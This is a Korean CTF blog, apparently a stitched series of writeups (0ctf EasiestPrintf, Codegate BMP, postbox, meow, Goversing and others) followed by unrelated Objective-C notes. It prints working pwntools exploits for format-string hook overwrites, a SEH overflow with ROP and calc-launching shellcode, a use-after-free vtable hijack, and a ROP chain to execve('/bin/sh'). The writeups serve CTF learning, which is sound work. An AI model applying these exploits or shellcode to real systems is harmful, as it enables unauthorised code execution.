printf는 문자열이 일정크기가 넘어가면 malloc free를 호출한다(vfprintf) fsb를 이용하여 malloc_hook free_hook 을 덮어 쓸수 있다.

혹은 stdout의 함수포인터를 덮을 수도 있다. 

32bit이기 때문에

http://say2.tistory.com/262


write = {_IO_2_1_stdout + 148: 0x0804A570 - 0x1c, 0x0804A570: system + 1}


payload = '/bin/sh;'

payload += fmtstr_payload(9, write, len(p), 'byte')



출처: http://say2.tistory.com/262 [say2]


p.sendlineafter('Bye','/bin/sh;'+fmtstr_payload(9,{free_hook:system-0x08080808})+"%100000c")

이것도 됨


from pwn import * p=process('./EasiestPrintf') libc=ELF('/lib/i386-linux-gnu/libc.so.6') binary=ELF('./EasiestPrintf') open_got=0x8049FE8 p.sendlineafter('read:\n',str(open_got)) libc=int(p.recv(10),16)-0xd5570 log.info("libc: "+hex(libc)) malloc_hook=libc+0x1b2768 log.info("malloc_hook: "+hex(malloc_hook)) free_hook=libc+0x1b38b0#0x1b3536 one_gadget=libc+0x3ac69#0x5fbc5 system=libc+0x3ada0 log.info("one_gadget"+hex(one_gadget)) log.info("system"+hex(system)) #0x5fbc5 0x5fbc6 raw_input() p.sendlineafter('Bye','/bin/sh;'+fmtstr_payload(9,{free_hook:one_gadget-0x08080808})+"%100000c") p.interactive()


'CTF' 카테고리의 다른 글

[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19
[codegate 17 final]BMP  (0) 2017.05.14
[defcon prequal 2017]magic  (0) 2017.05.12
[codegate17 prequal]postbox  (0) 2017.05.11




처음 풀어본 윈도우 익스 문제였고 신선했고 배운것도 많았다. 취약점은 어렵지 않았고 트리거 하는 과정도 실재 버그헌팅이랑 비슷해보였다. 처음이라 고생많고 오래걸렸는데 재밌었다.


bmp파일의 header를 읽는 부분에서 팔레트 크기를 읽어서 크기만큼 스택에 가져오는데 0x100이 정해진 크기지만 조작해서 더 큰 값을 넣을 수 있다.

canary가 있으므로 seh까지 쭉 덮어버리면 eip가 조작이 가능하다

rop로 vprotect로  실행권한 주고 쉘코드를 실행시켰다.

이때 팔레트는 4바이트마다 \x00을 넣어서 읽어오기 때문에 그냥넣으면 쉘코드가 이상해지고 그렇다고 쉘코드를 변형하기는 귀찮아서

쉘코드를 push해서 esp를 쉘코드주소로 보낸다음 실행시키는 어셈을 짠다음 쉘코드로 eip를 보내서 실행시켰다.

대회에서는 리모트 쉘코드를 넣어서 쉘을 따야하지만 그냥 일단 계산기 코드를 넣어서 실행시켰다. 

from struct import * import os def p4(buf): return pack('<I',buf) def p2(buf): return pack('<H',buf) f=open('./ex.bmp','wb') f2=open('./1.bmp','rb') h=f2.read(0x2e) biClrused=0x400 header=h header+=p4(biClrused) header+=p4(0) def create_rop_chain():    #not used # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x004a4b10, # POP EAX # RETN [BMP.exe] 0x00552258, # ptr to &VirtualAlloc() [IAT BMP.exe] 0x0051beed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BMP.exe] 0x004cf8fc, # XCHG EAX,ESI # RETN [BMP.exe] 0x0052b83d, # POP EBP # RETN [BMP.exe] 0x0044e1fb, # & push esp # ret [BMP.exe] 0x005177d4, # POP EBX # RETN [BMP.exe] 0x00000001, # 0x00000001-> ebx 0x0052a218, # POP EDX # RETN [BMP.exe] 0x00001000, # 0x00001000-> edx 0x0054dbd4, # POP ECX # RETN [BMP.exe] 0x00000040, # 0x00000040-> ecx 0x00528bbb, # POP EDI # RETN [BMP.exe] 0x0044aecf, # RETN (ROP NOP) [BMP.exe] 0x004b272a, # POP EAX # RETN [BMP.exe] 0x90909090, # nop 0x00548e8f, # PUSHAD # RETN [BMP.exe] ] return ''.join(pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() obj = 0x12f000 vprotect = 0x4d58fb pop_edi = 0x004018ad pop_esi = 0x00524e51 ret = 0x40415d over = '' over += p4(pop_esi) over += p4(obj) over += p4(pop_edi) over += p4(obj) over += p4(vprotect) over += p4(obj) over += p4(0x1000) over += p4(0x40) #rwx over += p4(obj) over += p4(ret) #ex+=rop_chain #0012f690 shloc=0x0012f84c    #stored shellcode address shellcode="\x81\xc4\x00\x05\x00\x00\x90\x90" shellcode+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" shellcode+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" shellcode+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33" shellcode+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b" shellcode+="\x57\x78\x01\xc2\x8b\x7a\x20\x01" shellcode+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" shellcode+="\x45\x81\x3e\x43\x72\x65\x61\x75" shellcode+="\xf2\x81\x7e\x08\x6f\x63\x65\x73" shellcode+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66" shellcode+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" shellcode+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" shellcode+="\xb1\xff\x53\xe2\xfd\x68\x63\x61" shellcode+="\x6c\x63\x89\xe2\x52\x52\x53\x53" shellcode+="\x53\x53\x53\x53\x52\x53\xff\xd7" shellcode+=p4(shloc) pushsh='\x89\xe1'+'\xb3'+'\x90' import binascii print len(shellcode) for i in range(len(shellcode)/2): pushsh+='\x68'+shellcode[2*i]+shellcode[2*i+1]+'\x00\x00'+'\x90\xb3\x00' pushsh+='\x41\x41'+'\xb3\x00' pushsh+='\x89\xcc'+'\xb3\x00' pushsh+='\x49\x49\xb3\x00'*4 pushsh+='\x89\xcc'+'\xb3\x00' pushsh+='\xc3'+'\x90'*3 #pushsh+="AAAA"*5 ex='' ex+=over ex+=p4(0x12fb7c)*8    #vprotect rop addr cont='' char='A' print len(pushsh) print len(ex) for i in range(0x160-len(ex)/4): cont+=p4(ret) cont+=ex cont+='aaaa' for i in range(200): cont+=p4(0x4040ca)    # add esp 0x9d4 cont+=pushsh for i in range(0x1000): cont+='BBBB' f.write(header) f.write(cont) f.close() #os.system('bmp_edit.exe ex.bmp') os.system('bmp2.exe ex.bmp')


'CTF' 카테고리의 다른 글

[2017 googlectf] inst_prof  (0) 2017.06.19
[0ctf qual]EasiestPrintf  (0) 2017.05.25
[defcon prequal 2017]magic  (0) 2017.05.12
[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 final]real  (0) 2017.05.09



objdump로 파싱 

filename은 

file=Glob.glob(‘경로’)
이렇게 하면 배열로 다 담긴다고 함 
import glob모듈


from pwn import *
import os
import subprocess
import re
#file_name='fecb014cab63df8b6a56da7a2edfe9ffbc3868579d445c4d4f0687b1583bc164'
file_name=
'''01dd90c3b7d9a36227a5ddc96c7887acbcb973744c1971eaa6da6cccc6c3e261
035202082a8be265d23b0409bec1d7c080e1ee14c163874f3321b6c70a209a7c
04818b31ff02ad50af2b052c3488b13b8be29da3c294857b8b159a3df5df6139
0626de9df535695be1dc8817e2658d1a154ef4a49d146ccf0cf5bdbc4cf8dc9a
...
fd9431be8119528acf27853559662473ae4f8a2cf7b2e1689fe9fb12943e9802
fecb014cab63df8b6a56da7a2edfe9ffbc3868579d445c4d4f0687b1583bc164'''.split()
cont=''
rr=re.compile('48 83 ff [0-9a-f]{1,2}')
total=''
for i in range(len(file_name)):
        #cont=os.system('objdump -S {} | grep "48 83 ff"'.format(file_name[i]))
        cont=subprocess.check_output(['objdump','-S', './{}'.format(file_name[i])])
        result=rr.findall(cont)
        arr=''
        print file_name[i]
        for j in result:
                arr+=chr(int(j[9:],16))
        print arr
        total+=arr
print total


'CTF' 카테고리의 다른 글

[0ctf qual]EasiestPrintf  (0) 2017.05.25
[codegate 17 final]BMP  (0) 2017.05.14
[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 final]real  (0) 2017.05.09
[codegate 2017 prequal]meow  (0) 2017.05.09

total info

+0 post나 register info덩어리 주소

+24 다음 덩어리


덩어리 주소

+0 인덱스 post register info구분~~


user register

+0 0x6d10c8(vtable) -> register끝나고 createpost할때 바뀜 0x6d1090

+8 (0x8) name(12)

createpost할때 0x10 0x6d10a0

+24(0x18) phone number(15)

+40(0x28) zip code(7)

+56(0x38) address(90)

+176(0xb0) 0x6d10d8





**** register할때는 post할떄 totalinfo에 적용되는 꼴이 똑같다. 즉 같은 모양으로 저장된다. 둘다 크기는 240 

구조체를 보니 post의 vtable함수들이 전부 저장되어있다.!? 이걸잘 덮어쓰면 pc조작이 가능할 거 같다.

totlainfo의 구조체는 최대 수용이 4개까지고 넘어가면 linked list로 넘어간다. 



이때 register unregister과 post create send를 잘 섞으면 uaf가 터져서 eip컨트롤이 가능하다.

취약점은 send하고. unregister할때 이 두 데이터를 구분을 잘 못해줘서 register로 post데이터를 덮을수 있다. change메뉴를 덮어서 트리거 할 수 있다.


0x41297f가 mov rdi binsh syscall execve가 있는 장소인데

rdx가 안맞아서 잘 안됐다.

근데 그냥 두드리던 중에 [rdx+8]에 있는 주소가 readable하면 rdx가 널이 아니더라도 쉘이 따졌다...

ㅇㅁㅇ ㅇ마튼 풀어서 기분 좋긴한데 이문제는 뭔가 디버깅하다가 얻어걸린게 많아서 정확하게 클래스 분석도 해봐야겠다. 




from pwn import *

r=process('./postbox')
raw_input()

def register(name,phone,zip,address):
	r.sendlineafter('->','1')
	r.sendlineafter('->',name)
	r.sendlineafter('->',phone)
	r.sendlineafter('->',zip)
	r.sendlineafter('->',address)

def unregister():
	r.sendlineafter('->','1')
	r.sendlineafter('->','Y')
def create(kind,price,name,recp_name,phone,recp_zip,recp_addr,delivery):
	r.sendlineafter('->','2')
	r.sendlineafter('->',kind)
	r.sendlineafter('->',price)
	r.sendlineafter('->',name)
	r.sendlineafter('->',recp_name)
	r.sendlineafter('->',phone)
	r.sendlineafter('->',recp_zip)
	r.sendlineafter('->',recp_addr)
	r.sendlineafter('->',delivery)
def change(ind,menu,cont):
	r.sendlineafter('->','3')
	r.sendlineafter('->',menu)
	r.sendlineafter('->',cont)
	r.sendlineafter('5')
def send(ind):
	r.sendlineafter('->','4')
	r.sendlineafter('->',ind)


register('A','A','A','A')

create('1','1','1','1','1','1','1','1')
create('2','2','2','2','2','2','2','2')

send('1')
send('1')
unregister()
register('3333','4444','5555','6666')
unregister()
register('\xa0\x10\x6d','\x7f\x29\x41','DDDD','EEEE')
#register("\x7f\x29\x41","\x7f\x29\x41","\x7f\x29\x41","\x7f\x29\x41")

unregister()
r.sendline('3')
r.sendline('2')
r.sendline('2')
r.interactive()


'CTF' 카테고리의 다른 글

[codegate 17 final]BMP  (0) 2017.05.14
[defcon prequal 2017]magic  (0) 2017.05.12
[codegate 2017 final]real  (0) 2017.05.09
[codegate 2017 prequal]meow  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08


from pwn import * r=process('./real') raw_input() def _fsb(ff,var): r.sendlineafter('string -->',ff) r.sendlineafter('-->',var) r.recvuntil('is ') stack=int(r.recv(14),16) log.info(hex(stack)) r.recvuntil('-->') r.sendline(str(stack(not correct)) r.recvuntil('value is ') leak=int(r.recv(2),16) log.info('leak : '+hex(leak)) for i in range(15): _fsb("%x",str(stack))    # not correct #pppr -> libc_start_main fix to onegadget r.interactive()




이런식으로 구상했는데 정확한 입력은 구상하지 ㅇ낳았다. ㅎ_ㅎ

우선 libc_start_main이 있는 부분의 일부를 조작해서 onegadget으로 만든다.(stack이 null로 많이 초기화 되서 가능할 것이라고 생각했다. 64비트 라이브러리의 원가젯 조건이 [rsp+a]=0인 조건이 많기 때문)

printf의 ret인 main부분이 스택에 있는 걸 활용해서 $를 이용해 ret을 pppr가젯으로 바꾼다. 그러면 libc_start_main으로 리턴하게 되는데 여기에 덮어쓴 onegadget이 실행되는 것이다.


포맷스트링버그(fsb)에서 printf자체의 리턴값을 조작하여 eip를 컨트롤 할 수도 있다는 아이디어가 핵심인 것 같다. 

'CTF' 카테고리의 다른 글

[defcon prequal 2017]magic  (0) 2017.05.12
[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 prequal]meow  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08
[plaid2017]pykemon  (0) 2017.04.24

키를 받고 그 키로 테이블을 복호화해서 복호화한 값을 call하는 메뉴가 있는 바이너리 이다. 

키로 어떻게 복호화를 하는지 알아보기 위해 복호화 코드를 그대로 옮겨서 중간중간 과정을 printf해서 보았다. 이렇게 보면 4가지 과정이 어떻게 xor되며 흘러가는지 잘 보인다. 다행히도 각 단계마다 복합적으로 얽히는 건 없어서 한번에 쭉쭉 거꾸로 올라가면 된다.


어떻게 키를 찾냐면 추측할 수 있는 부분이 있다. 복호화된 결과값이 함수가 될 가능성이 높은데 함수의 에필로그와 프롤로그를 대입해 보는 것이다.

결과값 첫 4바이트를 push ebp , mov ebp esp로 끝 2바이트를 pop ebp, ret으로 해서 총 6바이트를 추측할 수 있다. 


추측한 값으로 거꾸로 올라가면 다음과 같은 식을 얻는다.

1. 0x55=i2^i5^13

2. 0x48=i3^i2^72

3. 0x89=(-11=245)^i8^i1

4. 0xe5=(-81=175)^i9^i3

5. 0xc9 = i0 i1 186

6. 0xc3 = i1 i3 167


(i가 key)

정리하면 key의 이만큼을 얻을 수 있다.

i0 = i0

i1 = i0 ^ 0x73

i2 = i0 ^ 0x17

i3 = i0 ^ 0x17

i4

i5 = i0 ^ 0xd

i6 = 

i7 = 

i8 = i0 ^ 0xf

i9 = i0 ^ 0x5d 


이걸로 key의 브루트 포싱 값이 확 줄었다. 이제 해시를 비교하면서 브루트 포싱하자


키 =  $W337k!++y


#include

"stdio.h" #include"string.h" char ind[2][200][50],tmp[100]; int main(){ char src[200]={241, 100, 114, 74, 79, 72, 77, 186, 119, 115, 29, 52, 245, 175, 184, 15, 36, 86, 17, 101, 71, 163, 47, 115, 164, 86, 79, 112, 74, 19, 87, 156, 63, 111, 6, 97, 64, 144, 175, 57, 16, 41, 52, 195, 0, 122, 64, 61, 78, 63, 14, 42, 47, 32, 127, 115, 137, 125, 75, 29, 9, 170, 208, 0, 33, 137, 77, 42, 103, 124, 24, 59, 57, 242, 141, 28, 167, 113, 87, 46, 49, 20, 103, 72, 60, 125, 175, 112, 174, 16, 49, 104, 209, 38, 5, 200, 37, 242, 98, 245, 93, 56, 52, 242, 32, 14, 126, 159, 251, 87, 114, 38, 87, 103, 21, 16, 21, 19, 185, 62, 121, 137, 93, 36, 18, 1, 152, 123, 24, 37, 224, 223, 124, 36, 27, 45, 68, 176, 16, 61, 87, 61, 98, 180, 33, 29, 62, 209, 16, 215, 69, 116, 150, 43, 109, 59, 237, 16, 0, 103, 49, 223, 108, 184, 134, 26, 124, 107, 100, 120, 198, 55, 118, 230, 97, 160, 173, 190, 76, 186, 167, 13}; char input[200]={'$','W','3','3','7','k','!','+','+','y','(','>',',','<',')',NULL}; char v14 = 0; int j = 0; char v19_4 = 4,vv[10],v18_5 = 5,vvv[10],v17_3 = 3,vvvv[10]; char v13_10 = 10,vvvvv[10],v12_5 = 5,v2[10],v11_7 = 7,v16 = 0; char v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; int v15=0xb6; int len_b6=0xb6; for(int i=0;i<200;i++){ memset(ind[0][i],0,50); memset(ind[1][i],0,50); } for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v1[%d] = src[%d](%d)",j,v16+j,src[j+v16]); //strcat(ind[0][j],tmp); } for ( j = 0; v11_7 - v17_3 > j; ++j ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v1[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); //strcat(ind[0][j+v17_3],tmp); } for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v1[%d]^=%d(input[%d])\n",j,*(&v4+j),j); //strcat(ind[1][j],tmp); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v1[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v1[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 2; if ( v17_3 == 9 ) v17_3 = 3; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=5; v17_3=5; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; ++j ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(2*j+1 + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+2*j+1),2*j+1); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 -= 1; if ( v17_3 == 0 ) v17_3 = 5; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=10; v17_3=4; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } //printf("%d\n",v15); for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); //printf("v15 : %d\n",v15); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 1; if ( v17_3 == 9 ) v17_3 = 4; } j = 0; v19_4 = 4,v18_5 = 5,v17_3 = 3; v13_10 = 10,v12_5 = 5,v11_7 = 7,v16 = 0; v9 = 0,v10 = 0,v7 = 0,v8 = 0,v4 = 0,v5 = 0,v6 = 0; v15=0xb6; len_b6=0xb6; v11_7=10; v17_3=4; for(int i = 0; len_b6 - len_b6 % v11_7 > i; i += v11_7 ) { printf("i=%d\n",i); for ( j = 0; j < v17_3; j++ ){ *(&v4 + j) = *(j + v16 + src); sprintf(ind[0][j],"v4[%d] = src[%d](%d)",j,v16+j,src[v16+j]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(&v4 + j + v17_3) = *(v17_3 + v15 - v11_7 + j + src); sprintf(ind[0][j+v17_3],"v4[%d] = src[%d](%d)",j+v17_3,v17_3+v15-v11_7+j,src[v17_3+v15-v11_7+j]); } //printf("%d\n",v15); for ( j = 0; j < v11_7; j++ ){ *(&v4 + j) ^= *(j + input); sprintf(ind[1][j],"v4[%d]^=%d(input[%d])\n",j,*(&v4+j),j); } for ( j = 0; j < v17_3; j++ ){ *(src + j + v16) = *(&v4 + j + v11_7 - v17_3); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v16,*(&v4+j+v11_7-v17_3),j+v11_7-v17_3,ind[0][j+v11_7-v17_3],ind[1][j+v11_7-v17_3]); } for ( j = 0; v11_7 - v17_3 > j; j++ ){ *(src + v17_3 + v15 - v11_7 + j) = *(&v4 + j); printf("src[%d]=%d : v4[%d] : %s %s\n",j+v15+v17_3-v11_7,*(&v4+j),j,ind[0][j],ind[1][j]); //printf("v15 : %d\n",v15); } v16 += v17_3; v15 -= v11_7 - v17_3; v17_3 += 1; if ( v17_3 == 9 ) v17_3 = 4; } FILE *f=fopen("./src_out","wb"); fwrite(src, 1 , sizeof(src) , f ); fclose(f); }

복호화한다음 디버거로 보자

  
0x12000:	push   rbp
   0x12001:	mov    rbp,rsp
   0x12004:	sub    rsp,0x60
   0x12008:	movabs rax,0x20756f7920646944
   0x12012:	mov    QWORD PTR [rbp-0x60],rax
   0x12016:	movabs rax,0x612065736f6f6863
   0x12020:	mov    QWORD PTR [rbp-0x58],rax
   0x12024:	movabs rax,0x3f3f3f3f74616320
   0x1202e:	mov    QWORD PTR [rbp-0x50],rax
   0x12032:	movabs rax,0x7420746168570a3f
   0x1203c:	mov    QWORD PTR [rbp-0x48],rax
   0x12040:	movabs rax,0x6320666f20657079
   0x1204a:	mov    QWORD PTR [rbp-0x40],rax
   0x1204e:	movabs rax,0x646c756f77207461
   0x12058:	mov    QWORD PTR [rbp-0x38],rax
   0x1205c:	movabs rax,0x65727020756f7920
   0x12066:	mov    QWORD PTR [rbp-0x30],rax
   0x1206a:	movabs rax,0x273027203f726566
   0x12074:	mov    QWORD PTR [rbp-0x28],rax
   0x12078:	mov    DWORD PTR [rbp-0x20],0x3e3e3e0a
   0x1207f:	mov    BYTE PTR [rbp-0x1c],0x0
   0x12083:	lea    rax,[rbp-0x60]
   0x12087:	mov    edx,0x44
   0x1208c:	mov    rsi,rax
gdb-peda$ 
   0x1208f:	mov    edi,0x1
   0x12094:	mov    eax,0x1
   0x12099:	syscall 
   0x1209b:	lea    rax,[rbp+0x8]
   0x1209f:	mov    edx,0x18
   0x120a4:	mov    rsi,rax
   0x120a7:	mov    edi,0x0
   0x120ac:	mov    eax,0x0
   0x120b1:	syscall 
   0x120b3:	nop
   0x120b4:	leave  



0x14000:	push   rbp
   0x14001:	mov    rbp,rsp
   0x14004:	sub    rsp,0x10
   0x14008:	mov    QWORD PTR [rbp-0x8],rdi
   0x1400c:	mov    rax,QWORD PTR [rbp-0x8]
   0x14010:	mov    edx,0x0
   0x14015:	mov    esi,0x0
   0x1401a:	mov    rdi,rax
   0x1401d:	mov    eax,0x3b
   0x14022:	syscall 
   0x14024:	nop
   0x14025:	leave  
   0x14026:	ret    


이렇게 생겨먹음 그냥 바로 bof터진다.

rop로 익스를 해보자

디버거로 0x14000을 보면(또다른 복호화 함수) execve이다.


다시보니 가젯을 하나 넣어놨다

0x14036: pop    rdi

0x14037: ret  


/bin/sh도 넣어놨다 ㅋㅋ

0x14029

rdi에 /bin/sh넣고 

execve콜하면 된다.



from pwn import *

p=process('./meow')
f=open('./src_out')
p.sendline('$W337k!++y')
cont=f.read()
print cont
#print disasm(cont)

pay=''
pay+=p64(0x14036)
pay+=p64(0x14029)
pay+=p64(0x14000)
p.sendline('3')
p.sendline(pay)
p.interactive()

'CTF' 카테고리의 다른 글

[codegate17 prequal]postbox  (0) 2017.05.11
[codegate 2017 final]real  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08
[plaid2017]pykemon  (0) 2017.04.24
[codegate final]owner  (0) 2017.04.19

id와 패스워드 채크루틴이 있음


id를 비트단위로 분해 ->

concat : 0 obj^1 obj^before^bb^bbb^1 obj^before_byte^bbb^1

(연습삼아 정확하게 분석해 봤는데 사실은 obj^1만 알아도 id를 구할 수 있다.)


mov     qword ptr [rsp], 0

mov     [rsp+8], rbx

call    runtime_intstring

mov     rax, [rsp+18h]

mov     rcx, [rsp+10h]  ; _r2

mov     [rsp], rcx

mov     [rsp+8], rax

call    strconv_Atoi


mov     rax, [rsp+10h]

mov     [obj_88h], rax  ; obj_88h

lea     rcx, [before_byte_b8h]

mov     [rsp], rcx

lea     rcx, [obj_b0]

mov     [rsp+8], rcx

mov     qword ptr [rsp+10h], 18h

call    runtime_memmove b8<=b0(18)


mov     rax, [obj_88h]

mov     [obj_b0], rax

mov     rcx, [before_byte_b8h]

xor     rcx, rax

mov     rdx, [beforebefore_byte_c0]

xor     rcx, rdx

mov     rdx, [beforebeforebefore_byte_c8] ; _r1

xor     rcx, rdx rdx=0

xor     rcx, 1

mov     [rsp], rcx rcx^1^0=rcx^1

call    strconv_Itoa


mov     rax, [rsp+10h]

mov     [rsp+80h], rax

mov     rcx, [rsp+8]

mov     [rsp+0E8h], rcx

mov     rdx, [obj_b0]

mov     rbx, [before_byte_b8h]

xor     rdx, rbx

mov     rbx, [beforebeforebefore_byte_c8]

xor     rdx, rbx

xor     rdx, 1          ; _r1

mov     [rsp], rdx

call    strconv_Itoa


mov     rax, [rsp+10h]

mov     [rsp+78h], rax

mov     rcx, [rsp+8]

mov     [rsp+0E0h], rcx

mov     rdx, [obj_88h]

xor     rdx, 1          ; _r1

mov     [rsp], rdx

call    strconv_Itoa


mov     rax, [rsp+8]

mov     rcx, [rsp+10h]

mov     qword ptr [rsp], 0 ; a

lea     rdx, _r2        ; _r2

mov     [rsp+8], rdx

mov     qword ptr [rsp+10h], 1

mov     [rsp+18h], rax

mov     [rsp+20h], rcx

mov     rax, [rsp+0E8h]

mov     [rsp+28h], rax

mov     rax, [rsp+80h]

mov     [rsp+30h], rax

mov     rax, [rsp+0E0h]

mov     [rsp+38h], rax

mov     rax, [rsp+78h]

mov     [rsp+40h], rax

call    runtime_concatstring4

mov     rax, [rsp+50h]

mov     [rsp+60h], rax

mov     rcx, [rsp+48h]

mov     [rsp+0D0h], rcx

mov     rdx, [rsp+68h]

lea     rbx, [rdx+1]

mov     rsi, [rsp+70h]  ; cap

cmp     rbx, rsi

jg      short loc_401F9E


이와 같이 이어서 만든 4비트 숫자들과 rodata에 있는 테이블이 일치하면 secret member다

이 아이디와 패스워드를 xor해서 역시 rodata에 있는 password table과 비교하여 맞으면 flag를 내놓는다.


from pwn import *

p=process('./Goversing')
idtable='7 0 4 5 4 7 7 0 4 2 0 6 6 3 4 5 4 0 3 6 1 0 6 1 7 2 0 6 1 7 5 3 4 2 0 6 1 0 1 5 6 3 4 5 4 7 7 7 7 0 4 5 4 0 3 1 5 6 3 3 6 6 4 7'.split(' ')
table='12 56 2e 1B 5C 34 6A 5D 73 29 0F 5B 1C 67 34 6F 11 50 1E 3A 19 70 35 54 3F 45 2D 47 2E'.split(' ')
p.sendlineafter('>','1')
#concat : 0 obj^1 obj^before^bb^bbb^1 obj^before_byte^bbb^1
id=''
for i in range(64):
	tmp=int(idtable[i])/4
	id+=str(tmp^1)
idstr=''
for i in range(8):
	idstr+=chr(int(id[i*8:i*8+8],2))
print idstr

p.sendlineafter('ID',idstr)
pw=''
for i in range(29):
	pw+=chr(int(table[i],16)^ord(idstr[i%8]))
print pw
p.sendlineafter('PW',pw)
p.interactive()

 



'CTF' 카테고리의 다른 글

[codegate 2017 final]real  (0) 2017.05.09
[codegate 2017 prequal]meow  (0) 2017.05.09
[plaid2017]pykemon  (0) 2017.04.24
[codegate final]owner  (0) 2017.04.19
[ASISctf] DLP  (2) 2017.04.13

class 선언


@interface myclass : (부모 클래스 : 주로 NSObject씀)

{

@public

int a;

@private

int b;

}

-(void) func_name : (int)A anddata : (int)B;

-(void)func_name2 : (int)A : (int)B;

@end



@implementation myclass

-(void) func_name : (int)A anddata : (int)B

{

a=A;

b=B;

}

-(void)func_name2 : (int)A : (int)B;

{

a=A;

b=B;

}

@end


<사용>

myclass *C;

C=[[myclass alloc]init];

//C=[myclass alloc]

//C=[C init]

[C func_name:1234 anddata:5678];

[C func_name2:1234 :5678];

[C release];


** object C에서는 직접접근 X 포인터로 접근해야함


@property ----


<프로토콜>

메서드정의 -> 클래스에서 메서드 구성(프로토콜에서 정의된 메서드는 전부 구성해야함-@required@optional으로 컨트롤 가능)


xcode : 모르는 단어 help -> command+option+control+?

xcode : header나 정의 파일로 이동 -> command+클릭 / 전반적 설명 -> option+클릭


<멤버메소드와 클래스 메소드>

멤버 메소드

 : 앞에. (-)  , 기능수행, alloc이후 사용가능

클래스 메소드

